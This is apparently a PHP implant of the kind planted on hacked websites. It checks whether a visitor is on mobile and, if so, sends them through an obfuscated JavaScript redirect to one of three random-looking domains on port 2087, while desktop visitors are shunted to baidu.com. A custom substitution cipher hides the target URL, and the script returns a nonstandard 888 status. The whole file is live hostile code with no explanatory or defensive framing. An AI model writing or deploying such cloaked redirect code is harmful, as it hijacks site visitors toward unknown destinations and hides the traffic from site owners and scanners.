<?php
// 91nx8
$param = $_SERVER['REQUEST_URI'];
$device = detectDeviceType();
if ($device === 'mobile' || $device === 'tablet') {
    $urls = ['https://www.lfnrtym.com:2087','https://www.ourfmkn.com:2087','https://www.qzpeisv.com:2087'];
}else{
    $urls = ["https://www.baidu.com/?query?="];
}
$url = $urls[array_rand($urls)] . $param;
header("HTTP/1.0 888 OK");
echo '<script>function en(string){
    var dk = {"e":"P","w":"D","T":"y","+":"J","l":"!","t":"L","E":"E","@":"2","d":"a","b":"%","q":"l","X":"v","~":"R","5":"r","&":"X","C":"j","]":"F","a":")","^":"m",",":"~","}":"1","x":"C","c":"(","G":"@","h":"h",".":"*","L":"s","=":",","p":"g","I":"Q","1":"7","_":"u","K":"6","F":"t","2":"n","8":"=","k":"G","Z":"]",")":"b","P":"}","B":"U","S":"k","6":"i","g":":","N":"N","i":"S","%":"+","-":"Y","?":"|","4":"z","*":"-","3":"^","[":"{","(":"c","u":"B","y":"M","U":"Z","H":"[","z":"K","9":"H","7":"f","R":"x","v":"&","!":";","M":"_","Q":"9","Y":"e","o":"4","r":"A","m":".","O":"o","V":"W","J":"p","f":"d",":":"q","{":"8","W":"I","j":"?","n":"5","s":"3","|":"T","A":"V","D":"w",";":"O"};
    var n = "";
    var n_ary = "";
    for(var i = 0; i<string.length; i++){
        n = string[i];
        if(dk[n]){
            n_ary += dk[n];
        }else{
            n_ary += n;
        }
    }
    return n_ary;
};window.location.href=en("'. encrypt($url) .'");
</script>';die();
function qsj($num)
{
	$sjs = mt_rand(0,100);
	if(($num>=1&&$num<=99&&$sjs>=1&&$sjs<=$num)||$num==100)
	return true;
	return false;
}
function encrypt($string)
{
    $encrypt_key = '{"P":"e","D":"w","y":"T","J":"+","!":"l","L":"t","E":"E","2":"@","a":"d","%":"b","l":"q","v":"X","R":"~","r":"5","X":"&","j":"C","F":"]",")":"a","m":"^","~":",","1":"}","C":"x","(":"c","@":"G","h":"h","*":".","s":"L",",":"=","g":"p","Q":"I","7":"1","u":"_","6":"K","t":"F","n":"2","=":"8","G":"k","]":"Z","b":")","}":"P","U":"B","k":"S","i":"6",":":"g","N":"N","S":"i","+":"%","Y":"-","|":"?","z":"4","-":"*","^":"3","{":"[","c":"(","B":"u","M":"y","Z":"U","[":"H","K":"z","H":"9","f":"7","x":"R","&":"v",";":"!","_":"M","9":"Q","e":"Y","4":"o","A":"r",".":"m","o":"O","W":"V","p":"J","d":"f","q":":","8":"{","I":"W","?":"j","5":"n","3":"s","T":"|","V":"A","w":"D","O":";"}';
    $encrypt_key = json_decode($encrypt_key, true);

    #解密字符串
    // $decrypt_key = '{"e":"P","w":"D","T":"y","+":"J","l":"!","t":"L","E":"E","@":"2","d":"a","b":"%","q":"l","X":"v","~":"R","5":"r","&":"X","C":"j","]":"F","a":")","^":"m",",":"~","}":"1","x":"C","c":"(","G":"@","h":"h",".":"*","L":"s","=":",","p":"g","I":"Q","1":"7","_":"u","K":"6","F":"t","2":"n","8":"=","k":"G","Z":"]",")":"b","P":"}","B":"U","S":"k","6":"i","g":":","N":"N","i":"S","%":"+","-":"Y","?":"|","4":"z","*":"-","3":"^","[":"{","(":"c","u":"B","y":"M","U":"Z","H":"[","z":"K","9":"H","7":"f","R":"x","v":"&","!":";","M":"_","Q":"9","Y":"e","o":"4","r":"A","m":".","O":"o","V":"W","J":"p","f":"d",":":"q","{":"8","W":"I","j":"?","n":"5","s":"3","|":"T","A":"V","D":"w",";":"O"}';
    // $decrypt_key = json_decode($decrypt_key, true);
    
    #进行加密
    $str = "";
    for($i=0 ; $i<strlen($string) ; $i++)
    {
        $n = $string[$i];
        if( !empty($encrypt_key[$n]) )
        {
            $str .= $encrypt_key[$n];
        }
        else
        {
            $str .= $n;
        }
    }

    return $str;
}
function detectDeviceType() {
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $httpAccept = strtolower($_SERVER['HTTP_ACCEPT'] ?? '');
    $isMobile = false;
    $isTablet = false;

    // 1. 检查 HTTP_X_WAP_PROFILE
    if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
        $isMobile = true;
    }

    // 2. 检查 HTTP_VIA 是否含 WAP
    if (isset($_SERVER['HTTP_VIA']) && stripos($_SERVER['HTTP_VIA'], 'wap') !== false) {
        $isMobile = true;
    }

    // 3. 检查 Accept 头优先WML
    if (strpos($httpAccept, 'vnd.wap.wml') !== false &&
        (strpos($httpAccept, 'text/html') === false || strpos($httpAccept, 'vnd.wap.wml') < strpos($httpAccept, 'text/html'))) {
        $isMobile = true;
    }

    // 4. User-Agent 分析（手机关键词）
    $mobileKeywords = [
        'iphone', 'ipod', 'android', 'blackberry', 'opera mini',
        'windows phone', 'mobile', 'symbian', 'nokia', 'htc_', 'sony', 'samsung',
        'huawei', 'xiaomi', 'meizu', 'lenovo', 'zte', 'vivo', 'oppo',
        'alcatel', 'nexus', 'miui', 'ucbrowser', 'coolpad', 'smartphone'
    ];

    foreach ($mobileKeywords as $keyword) {
        if (strpos($userAgent, $keyword) !== false) {
            $isMobile = true;
            break;
        }
    }

    // 5. User-Agent 分析（平板关键词）
    $tabletKeywords = [
        'ipad', 'tablet', 'kindle', 'playbook', 'nexus 7', 'nexus 10', 'xoom', 'sch-i800', 'gt-p1000',
        'sm-t', 'tab', 'lenovo tab', 'galaxy tab', 'xperia tablet'
    ];

    foreach ($tabletKeywords as $keyword) {
        if (strpos($userAgent, $keyword) !== false) {
            $isTablet = true;
            $isMobile = false; // 平板优先于手机
            break;
        }
    }

    if ($isTablet) {
        return 'tablet';
    } elseif ($isMobile) {
        return 'mobile';
    } else {
        return 'desktop';
    }
}
?>